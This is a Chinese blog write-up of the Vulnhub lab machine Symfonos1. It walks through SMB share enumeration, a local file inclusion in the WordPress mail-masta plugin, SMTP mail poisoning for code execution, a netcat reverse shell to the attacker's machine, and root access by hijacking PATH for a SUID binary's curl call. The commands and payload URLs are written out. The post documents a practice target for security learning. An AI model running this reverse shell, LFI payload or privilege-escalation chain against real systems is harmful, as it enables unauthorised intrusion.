美文网首页Vulnhub...
Vulnhub靶机:Symfonos1

Vulnhub靶机:Symfonos1

作者: z1挂东南 | 来源:发表于2020-06-07 10:29 被阅读0次

    标签SMB共享本地文件包含邮件投毒linux提权

    0x00 环境准备

    下载地址:https://www.vulnhub.com/entry/symfonos-1,322/
    flag数量:1
    攻击机:kali
    攻击机地址:192.168.1.31
    靶机描述:

    Beginner real life based machine designed to teach a interesting way of obtaining a low priv shell. SHOULD work for both VMware and Virtualbox.
    
    Name: symfonos: 1
    Difficulty: Beginner
    Tested: VMware Workstation 15 Pro & VirtualBox 6.0
    DHCP Enabled
    Note: You may need to update your host file for symfonos.local
    

    0x01 信息搜集

    1.探测靶机地址

    命令:arp-scan -l

    靶机地址是192.168.1.41

    2.探测靶机开放端口

    命令:nmap -sV -p- 192.168.1.41

    开放了5个端口,先看一下80端口

    就是一张图片,什么也没有。

    3.目录扫描

    dirb扫了一下目录,除了index.html什么也没扫出来。

    0x02 SMB

    从上面的端口来看,靶机上还开放着SMB服务。

    SMB(服务器消息块)是一种协议,它允许同一网络上的资源共享文件,浏览网络并通过网络进行打印。它最初用于Windows,但是Unix系统可以通过Samba使用SMB。
    通常,服务器上有SMB共享驱动器,可以连接到该驱动器并用于查看或传输文件。对于想要发现敏感信息的攻击者来说,SMB通常可以是一个很好的起点–您会惊讶地发现这些共享中有时包含什么。在极少数情况下,例如当SMB共享目录和Web服务器根目录相同时,攻击者甚至可能利用这种错误配置来实现代码执行。

    SMB可以使用Enum4linuxSmbclient枚举。下面使用Smbclient进行枚举,
    命令:smbclient -L 192.168.1.41

    查看一下helios目录,命令:smbclient //192.168.1.41/helios

    需要账号密码
    再看一下anoymous目录,命令:smbclient //192.168.1.41/anonymous

    这个不需要密码,直接进去了,下面有一个txt文件,下载下来看一下

    大概意思是:

    请用户停止使用“epidioko”、“qwerty”和“baseball”等密码!下一个使用这些密码的人将被解雇!-宙斯

    哈哈,看得出来靶机作者很喜欢古希腊神话。
    拿到了三个密码,那就去helios目录试试,用户名就先用helios,命令:smbclient //192.168.1.41/helios -U helios

    进去了,密码:helios \ qwerty
    在helios下发现两个txt文件,都下载下来看看。

    research.txt里面是一个关于太阳神的希腊故事,todo.txt里面提供了一个目录
    尝试使用web访问,发现是个wordpress的网站。

    如果有些人图片不能正常加载出来,就在/etc/hosts文件中添加一条语句

    0x03 wp插件漏洞——LFI

    既然是wordpress CMS,那就用wpscan扫描一下,这里吐槽一下wpscan,经常出现一些莫名其妙的bug,也可能使我菜逼不会配置。
    命令:wpscan --url http://192.168.1.41/h3l105/ --plugins-detection aggressive

    发现该站点用了4个插件,其中mail-masta插件中有个红色叹号,应该是有漏洞,查一下
    命令:searchsploit mail masta 1.0

    有两个漏洞,一个SQL注入一个LFI,将文档复制下来,目录在/usr/share/exploitdb/exploits/php/webapps/

    看一下漏洞的具体介绍,这里选择使用LFI,LFI的poc:

    可以看到因为count_of_send.php文件中写了include($_GET['pl'])语句,导致include的参数是可变的,而且我们可以控制pl这个参数,所以这里就有了LFI漏洞。下面进行验证:

    利用成功了,路径是绝对路径。
    做到这里就没有思路了,看了一下表哥的文章,他是利用开放的25端口进行邮件投毒,然后使用LFI运行邮件来getshell。

    0x04 邮件投毒getshell

    刚才扫描端口的时候还开放着25端口,25端口是邮件协议的一个端口,那就可以邮件投毒然后结合LFI来getshell。
    ①给helios发送“毒”邮件
    连接:telnet 192.168.1.41 25
    结束使用:.+QUIT

    ②结合LFI进行验证
    邮件一般存储在:/var/mail/目录下
    语句:http://192.168.1.41/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=id

    在最下面的邮件已经执行命令并显示了。
    既然这样,那干脆再发送一封邮件,直接连一句话。

    蚁剑连接成功

    0x05 提权

    使用find命令寻找有sticky位的程序文件,命令:find / -perm -u=s -type f 2>/dev/null

    其中有一个不常见的文件,查看一下文件内容,使用cat查看乱码了,应该是个二进制文件,使用strings查看

    该文件会调用一些命令,其中就有curl命令,我们可以利用这个命令来提权。因为该文件会调用curl命令,那我们就可以自己编写一个假的curl命令,当文件调用curl的时候让它调用我们自己写的curl,这样就可以提权。
    ①创建假的curl命令,给curl执行权限

    ②反弹shell
    在蚁剑中修改环境变量一直不成功,我又反弹shell试了一下,然后修改成功了。。。如果蚁剑中可以修改成功,请忽略本小节,直接看第三步。
    说一下反弹shell的方法吧,现在kali中监听端口,这里用7777

    在蚁剑中执行反弹shell命令:nc -e /bin/bash 192.168.1.31 7777

    反弹成功

    切换到shell环境,命令:python -c 'import pty;pty.spawn("/bin/bash")'
    ③修改环境变量
    命令:export PATH=/tmp:$PATH

    这样做是为了让文件执行我们自己写的假的curl命令。
    ④执行文件

    提权成功了
    flag在/root下

    0x06 小结

    本靶机开始通过smb共享文件,得到web应用的目录信息,通过web应用中存在的LFI漏洞及靶机开放的25端口,拿到了靶机的shell。最后通过伪造curl命令进行提权,关于这种提权方法,可以参考https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/

    由于我不会每天都登录简书,所以有什么私信或者评论我都不能及时回复,如果想要联系我最好给我发邮件,邮箱:Z2djMjUxMTBAMTYzLmNvbQ==,如果发邮件请备注“简书”


    参考链接:

    1.vulnhub -symfonos1 (考点:smb & WordPress& LFI & 25 smtp & linux环境变量提权)
    2.Symfonos1靶机:Hacking Writeup
    3.https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
    4.使用Enum4linux和Smbclient枚举SMB
    5.Kali Linux信息收集之enum4linux
    6.https://0x23b.github.io/posts/vulnhub/2019-08-08-vulnhub_symfonos1_writeup/

    相关文章

      网友评论

        本文标题:Vulnhub靶机:Symfonos1

        本文链接:https://www.haomeiwen.com/subject/gbunzhtx.html